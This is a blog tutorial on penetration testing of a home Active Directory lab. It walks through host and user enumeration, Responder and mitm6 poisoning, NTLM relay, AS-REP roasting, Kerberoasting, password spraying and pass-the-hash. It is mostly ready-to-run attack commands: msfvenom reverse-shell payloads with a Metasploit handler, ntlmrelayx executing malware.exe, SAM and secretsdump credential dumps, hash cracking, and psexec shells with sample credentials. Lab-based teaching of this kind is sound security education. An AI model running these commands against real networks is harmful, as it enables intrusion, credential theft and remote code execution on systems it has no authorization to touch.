🖥Active Directory Lab: Enumeration and Exploitation 🔐

Learn about Active Directory penetration testing enumeration and exploitation using tools like Impacket, Kerbrute, and CrackMapExec. This post focuses on initial external enumeration and exploitation; from the perspective of having access to the AD network but have no account credentials and little information about the internal network. You will learn:

  • Target enumeration with Nmap, CME, Nbtscan
  • Username enumeration with Nmap and Kerbrute
  • Exploit misconfigurations with Windapsearch and AS-REP Roasting
  • Poisoning AD protocols with Responder and mitm6
  • Password Spraying with Kerbrute and Spray.sh
  • Pass the Hash and Kerberoasting

As if this is a black box test, out goal is to first gather valuable information like number of hosts, what services are running on them, what the domain name is, what users are in the domain, what their passwords are. I’ll quickly go through the commands and results of each attack that will help gain you a foothold on an AD network.

In a future post I will write about how to exploit and enumerate AD once you have a foothold. Once you compromise an account, especially an admin account, a lot of damage can be done to AD. Any tool used in this post is either native to Kali Linux or has it’s GitHub linked as it’s discussed.

This guide builds off the network that is built in this post. If you’d like to replicate these attacks yourself, read that post first to learn how to build your own Active Directory lab.

I’m using an Active Directory network consisting of 2 Windows 10 Workstations and 1 Domain Controller setup in VMware Workstation. Note the subnet of this network is .

Enumerate Targets

First enumerate what hosts are on the network, their IP addresses, how many are their and what services they are running.


Quickly find hosts on the subnet with a ping scan:

nmap -sn

Enumerate common AD and Windows ports:

nmap -T4 -n -Pn -p22,53,80,88,445,5985

Filtered ports we can assume are closed. Hosts with port 88 running Kerberos and port 53 running DNS open, we can strongly assume is the Domain Controller(DC) or a Windows Server. Now we know the Domain Controller is For the Domain name of the machine, enumerate the DC using LDAP and we’ll find the root domain name is Duloc.local .

nmap -T4 -Pn -p 389 --script ldap*


Enumerate NetBOIS names of hosts:



If you’re pivoting around a network and nmap or other tools aren’t available, can use ping to find hosts on a subnet:

for i in {1..254} ;do (ping -c 1 172.16.107.$i | grep “bytes from” &) ;done


CrackMapExec more neatly finds host IP’s, NetBIOS names, domain name, Windows version , SMB Sigining all in one small command:

crackmapexec smb

Username Enumeration

Now we know what computers are on the network, we need to find out what user accounts can authenticate to them. Once we have usernames, we can find passwords, then get our precious foothold.

Kerberos makes it easy to enumerate valid usernames for the domain. We can send Kerberos requests to the DC checking different usernames. Tools like Nmap and Kerbrute makes this process easy. All you need is a username list. You can use one from SecLists or craft one based off naming conventions and what you know about the target.


./kerbrute_linux_386 userenum users.txt -d Duloc.local — dc


nmap -p 88 — script=krb5-enum-users — script-args=krb5-enum-users.realm=’Duloc.local’,userdb=users.txt

Poisoning AD Protocols


Poisoning SMB share requests was covered in the last post about AD towards the bottom of the post. However, did you know you can also poison requests made on a web browser? Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server which can grab usernames and hashes from an Windows user.

For example, a Windows client can type in a domain, perhaps by accident, that is unknown to the DNS server on the DC.

Unbeknownst to that user, your running Responder, which poisons this request to find the ‘junkdomain’ domain, causing the user to authenticate to your Responder’s web server, giving you their credentials:

responder -I <yourInterface> -rdwv

Just as was shown in the last AD blog post, you can crack this hash with the following hashcat command:

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt — force

NTLM Relay

With the help of Responder, we captured and cracked hashes. What if you could just relay those hashes to another machine to gain access? That is what NTLM relay attacks are for. You can perform this attack if you have 2 Windows clients running on the AD network (in addition to the DC) and they have SMB signing disabled. With SMB signing disabled, they can’t check the authenticity of our spoofed SMB requests for authentication. Luckily Windows 10 has SMB signing disabled by default. The relayed credentials must also be an admin account.

To launch an SMB shell: first, enumerate the subnet for targets with SMB signing disabled and place them neatly into a targets.txt file with CME:

crackmapexec smb --gen-relay-list targets.txt

In your Responder config file /etc/responder/Responder.conf disable SMB and HTTP servers, you’ll be using another program to spoof those…

Run Responder and ntlmrelayx.py together to begin the attack. Note the -I flag is to specify my VMware interface that the AD network is on.

responder -I vmnet8 -rdwv
ntlmrelayx.py -tf targets.txt -smb2support

Trigger the attack client side by typing a SMB request in the Network tab of the file browser in a Windows client:

If attack is successful, you should see SAM hashes being dumped for the first host credentials can be relayed to:

However, you can also get shells and execute code using the NTLM relay attack. If you want to receive an SMB shell on a host, replace the steps above but use the -i flag in ntlmrelayx.py instead:

ntlmrelayx.py -tf targets.txt -smb2support -i

Then connect to the interactive SMB shell with netcat:

nc 11001

To run a command on a Windows target, use this command in the attack:

ntlmrelayx.py -tf targets.txt -smb2support -c dir

To execute a payload, like one that triggers a reverse shell, first generate a reverse shell payload like so:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=5555 -f exe > malware.exe

Create a handler on metasploit:

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 5555

Run Responder and ntlmrelayx.py:

responder -I vmnet8 -rdwv
ntlmrelayx.py -tf targets.txt -smb2support -e malware.exe

Once you see the output above, should receive a reverse shell:


This man-in-the-middle IPv6 tool accomplishes similar attacks as NTLM relay but with more reliability. All Windows computers since Vista has had IPv6 enabled by default, even if it’s not in active use. Mitm6 exploits this by sending DHCP6 and DNS Queries requesting data from the AD network. Ntlmrelayx.py serves a WPAD file over IPv6, WPAD legitimate purpose is for automating network proxies, but in this case is being exploited to relay authentication info for code execution on Windows clients.

To launch an SMB shell: first step is to start mitm6.py with -i for interface and -d for root domain name for the AD network.

python mitm6.py -i vmnet8 -d Duloc.local

Then start ntlmrelayx.py with -6 to specify IPv6, -wh to write host name the WPAD file resides on(can be anything), -tf for targets in AD network, -smb2support to account for the downgraded SMB version set on the Windows Clients, and -i for interactive SMB shell:

ntlmrelayx.py -6 -wh attack.lamo.local -tf targets. -smb2support -i

Rebooting a windows client, opening a browser or waiting a max of 30 minutes is needed for IPv6 queries to be sent from windows machines to mitm6 and activate the attack. A successful attack will look like this:

Connect to the shell with netcat:

nc 11001

To run a command, repeat the steps above but change the ntlmrelayx.py command to:

ntlmrelayx.py -6 -wh attacker.Duloc.local -tf targets.txt -smb2support -c whoami

To execute a payload, like one that triggers a reverse shell, first generate a reverse shell payload like so:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=5555 -f exe > malware.exe

Create a handler on Metasploit:

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 5555

Run mitm6 and ntlmrelayx.py:

python mitm6.py -i vmnet8 -d Duloc.local
ntlmrelayx.py -6 -wh attacker.Duloc.local -tf targets.txt -smb2support -e malware.exe

You’ll see this output on ntlmrelayx.py if your payload is executed successfully:

Then you’ll receive a shell or three:


AS-REP Roasting

If you have some usernames and you’re lucky, an AD account may have preauthentication disabled. Preauthentication is a protection against online bruteforce for Kerberos. If this is disabled for an account, hashes can be pulled for that account and cracked offline.

For the purpose of testing, you can disable preauthentication on one of your active directory accounts first going here on your Windows Server’s Dashboard:

Find one of your users, right click for “Properties”, go to “Account”, and disable Kerberos preauthentication under “Account options”:

Start AS-REP Roasting using Impackets GetNPUsers.py

On a the user you disabled preauthentication, you’ll receive a hash back. On a user that you have not disabled preauthentication, you’ll receive a result like the second command:

GetNPUsers.py Duloc.local/mosamba -dc-ip -no-pass
GetNPUsers.py Duloc.local/sshrek -dc-ip -no-pass

Now you can crack the hash with the following command:

hashcat -m 18200 -a 0 hash.txt passlist.txt

LDAP anonymous bind

It is possible on older Windows infrastructure that LDAP anonymous bind is enabled on a target. Windapsearch can check for LDAP anonymous bind and if successful it will print out all the usernames on the server without needing credentials. If it fails it’ll look like so:

./windapsearch-linux-amd64 -d -m users


If you have credentials to one user already, you can use those creds to get the username of every other user with this Impacket tool:

GetADUsers.py -all -dc-ip Duloc.local/pfiona


If you already have credentials, LDAP can get alot of information from AD.

  • User data: Personal Info, Groups, GUID/SID, logoninfo
  • LDAP entries for Groups, Computers, GPO’s

Enumerate Users:

./windapsearch-linux-amd64 -d -m users -u TestOU@Duloc.local -p Ioveyou234

Enumerate SPN’s:

./windapsearch-linux-amd64 -d -m user-spns -u TestOU@Duloc.local -p Ioveyou234

Enumerate GPO’s:

./windapsearch-linux-amd64 -d -m gpos -u TestOU@Duloc.local -p Ioveyou234

Assuming again you have creds, it’s worth checking if there are SMB shares available for that account. May have some valuable information in there!

crackmapexec smb -u 'duplicate' -p 'Ioveyou234' --shares

Password Spraying

Traditional brute forcing of accounts on a AD network is a poor idea because of account lockout policy. By default, the policy looks like this on your DC:

However, Microsoft recommends setting Account lock out threshold after 10 guesses, some companies set it as low as 3 failed attempts and you’re locked out. In addition to this, brute forcing is slow and noisy(shows up in alot of logs).

This is where Password Spraying comes in. It’s choosing 1 or 2 common passwords and testing them for every user in the domain. Passwords like Summer2020 or Company321.

If you have some credentials already from previous attacks, you can check password policy with a CrackMapExec command. Pretty useful when planning how many passwords you should spray at once.

crackmapexec smb -u 'duplicate' -p 'Ioveyou234' --pass-pol

Kerbrute has a module for password spraying:

./kerbrute_linux_386 passwordspray -d Duloc.local --dc users.txt password123!

Spray.sh is a great script to perform more automated password spraying, allowing you to define the lockout period and how many password attempts you wish to try per lockout period on each username:

Usage: spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>spray.sh -smb users.txt pass.txt 3 30 Duloc.local

If you are 100% sure their is no lockout policy, and you don’t care about being stealthy in your engagement, you can perform traditional brute force with CrackMapExec:

crackmapexec smb -u users.txt -p /usr/share/wordlists/fasttrack.txt

Pass the Hash

Rather than authenticating access to an account with a password, why not just use a hash? This is where the Pass the Hash attack comes in. Simplest way to get hashes to other accounts is to use the credentials you do have to dump them. Here’s how you can do that with CrackMapExec and secretsdump.py:

crackmapexec smb -u TestOU -p Ioveyou234 --sam
secretsdump.py Duloc/TestOU:Ioveyou234@

Once you have a hash you can pass it with this command, however it will fail.

psexec.py Thelonious@ -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b

This is because pass the hash is effectively patched on modern windows machines. However Administrators can override this by creating the LocalAccountTokenFilterPolicy in the registry:

  1. Open RegEdit on your target
  2. 2. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  3. Add a new DWORD value called LocalAccountTokenFilterPolicy
  4. Set its value to 1
  5. Reboot the system

Reattempting the pass the hash attack will result in a successful shell:


Kerberoasting uses any account credentials to extract service account credentials from Active Directory. This is a very powerful attack because it does not require a high privilege account to conduct, is stealthy as can extract service account credentials without sending packets to the target, and is hard to mitigate as it takes advantage of standard Kerberos features. GetUserSPNs.py carries out all the steps for this attack:

GetUserSPNs.py Duloc.local/pfiona:password123! -dc-ip -request

This Impacket tool makes LDAP queries, requests and saves the TGS in hashcat format, making the next step easier, cracking for a password:

hashcat -m 13100 hash.txt passwords.txt -O

Pentest other services for foothold

All the techniques above are exploiting features that are part of Active Directory. However, other services can be installed on Windows computers that have vulnerabilities to be exploited. To illustrate this point ill go though one example.

Lets say a Windows client on the AD network is running a vulnerable version of the CrossChex employee time management software. You can install the vulnerable version of this software to test this scenario by clicking here. Once installed, it should look like this:

Crosschex Standard x86 <= V4.3.12 is vulnerable to a buffer overflow exploit. There is also a Metasploit module for this exploit, how handy!

No parameters need to be set, select it and type run

The exploit listens for broadcasts from the CrossChex software looking for new devices, replys with a custom broadcast, and triggers the buffer overflow. To make the software look for new devices, click these three buttons:

Once you click “Search”, you should get back your shell.

You have a foothold, now what?

You either have a shell though exploiting a vulnerability like above, or you exploited features in Active Directory for credentials, cool! You can establish a more stable shell using those creds and some remote administration tools like psexec, smbexec, or wmiexec. Internally you can perform further enumeration and exploitation. Psexec is most reliable I’ve found.

psexec.py Duloc.local/duplicate:Ioveyou234@
smbexec.py Duloc.local/duplicate:Ioveyou234@
wmiexec.py Duloc.local/duplicate:Ioveyou234@

If you’d like to critque this post, give feedback, want clarrification on something, or just want to say hi, I will be happy to talk to you to by email: robertscocca@protonmail.com

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store